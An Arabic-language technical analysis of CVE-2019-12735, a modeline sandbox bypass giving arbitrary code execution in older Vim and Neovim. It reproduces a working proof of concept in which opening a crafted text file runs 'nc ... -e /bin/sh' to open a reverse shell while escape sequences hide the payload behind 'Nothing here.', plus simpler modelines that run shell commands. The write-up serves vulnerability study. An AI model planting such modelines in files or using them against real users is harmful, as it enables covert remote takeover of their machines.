
تحليل تقني مفصل وإثبات مفهوم لثغرة CVE-2019-12735، وهي ثغرة تنفيذ تعليمات برمجية عشوائية في Vim/Neovim عبر تجاوز حماية modeline sandbox، بما في ذلك استغلال الصدفة العكسية.
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Vim في الإصدارات السابقة لـ 8.1.1365 و Neovim في الإصدارات السابقة لـ 0.3.6 لديهما ثغرة تسمح بسهولة بتنفيذ تعليمات برمجية عشوائية عبر modeline عند فتح ملف نصي يحتوي على محتوى خاص.
Modeline هي ميزة مفعلة افتراضيًا، ويتم تطبيقها على جميع أنواع الملفات، بما في ذلك ملفات .txt للبحث تلقائيًا عن مجموعة من الخيارات التي يذكرها منشئ الملف في بدايته ونهايته وتطبيقها/تنفيذها. فيما يلي مثال نموذجي لأمر modeline:
/* vim: set textwidth=80 tabstop=8: */
لزيادة الأمان، يُسمح فقط بمجموعة فرعية من الخيارات بالتطبيق/التنفيذ في modelines، وإذا كانت قيمة الخيار تحتوي على تعبير، فسيتم تنفيذه في sandbox:
لا يتم دعم أوامر أخرى غير "set" لأسباب أمنية (قد يقوم شخص بإنشاء ملف نصي حصان طروادة مع modelines). ولا يمكن تعيين جميع الخيارات. بالنسبة لبعض الخيارات، يتم تعيين علامة، بحيث عند استخدامها يكون |sandbox| فعالاً.
يساعد Sandbox في منع الآثار الجانبية:
يمكن تقييم الخيارات 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' و 'foldtext' في sandbox. وهذا يعني أنك محمي من هذه التعبيرات التي لها آثار جانبية ضارة. وهذا يوفر بعض الأمان عند تعيين هذه الخيارات من modeline.
ومع ذلك، يمكن استخدام الأمر :source! (مع [!] في النهاية) لتجاوز sandbox. فهو يجبر vim على قراءة وتنفيذ الأوامر من ملف معين كما لو تم إدخالها يدويًا في vim، ويتم تشغيلها بعد الخروج من sandbox. هذا هو ما أنشأ الثغرة التي تسمح بتنفيذ تعليمات برمجية عشوائية عبر vim:
:so[urce]! {file} قراءة أوامر Vim من {file}. هذه أوامر يتم تنفيذها من الوضع العادي، كما لو كنت تكتبها.
من الثغرة أعلاه، يمكن بناء modeline لتشغيل كود خارج sandbox:
# vim: set foldexpr=execute('\:source! some_file'):
يمكن أيضًا استخدام assert_fails() كبديل لـ execute():
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
تشغيل {cmd} وإضافة رسالة خطأ إلى |v:errors| إذا لم يُنتج خطأ.
أضف الحرف % بعد source! لتنفيذ الملف الحالي. المثال أدناه سينفذ uname -a || "(garbage)" كأمر shell:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
أيضًا، دالة nvim_input() مخصصة لاستغلال الثغرة على Neovim وتستخدم كما في المثال التالي:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
قدم المؤلف برهان مفهوم (PoC) يسمح بإنشاء قوقعة عكسية، باستخدام حرف Esc لإخفاء المحتوى عند فتح القارئ للملف عن طريق كتابة محتوى جديد إليه.
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
ما سبق هو PoC من المؤلف، ولكن لزيادة الوضوح للقارئ، سنقوم بإزالة بعض الأجزاء من PoC أعلاه لتصبح:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
عند فتح vim، ستتحقق ميزة modeline من بداية ونهاية الملف للعثور على أمر modeline (هنا 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:')، وعند العثور عليه، ستنفذ الأمر. وفقًا لكيفية عمل modeline كما ذكر أعلاه، سينفذ الأمر source! % الملف الحالي كما لو قمنا بإدخال محتوى ذلك الملف يدويًا في vim.
أولاً، سينفذ السلسلة "\x1bSNothing here.\x1b:silent! w ". إذا كنت قد استخدمت vim من قبل، فأنت تعلم وضع command في vim، للدخول إلى هذا الوضع، نضغط مفتاح Esc، وقيمته 0x1b، ولهذا في بداية PoC أعلاه يوجد 0x1b للدخول إلى وضع command في vim.
عند الدخول إلى وضع command، إذا ضغطنا على مفتاح S، فسيتم حذف محتوى السطر الحالي وسنعود إلى وضع insert، وبالتالي سيكون الحرف التالي هو S لتنفيذ حذف محتوى ملف PoC وإنشاء محتوى جديد.
عندها سيتم إدراج النص "Nothing here." في الملف، ثم يأتي حرف Esc للعودة إلى وضع command، والأمر :silent! w لكتابة النص الجديد ("Nothing here.") إلى الملف دون عرض أي رسالة على الشاشة.
بعد كتابة الملف، يستمر في تنفيذ الأمر call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') والأوامر التالية للحصول على قوقعة عكسية. الأمر الأخير - silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n، وهنا بعد silent! هناك علامة #، مما يجعل vim يعتبرها تعليقًا لذا لن يتم تنفيذها.
وهكذا، عندما يفتح المستخدم PoC أعلاه باستخدام vim/neovim، سيحصل المهاجم على قوقعة المستخدم دون أن يدري المستخدم، لأن المستخدم سيرى فقط النص "Nothing here." الذي تم كتابته للتو عبر ميزة modeline.
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md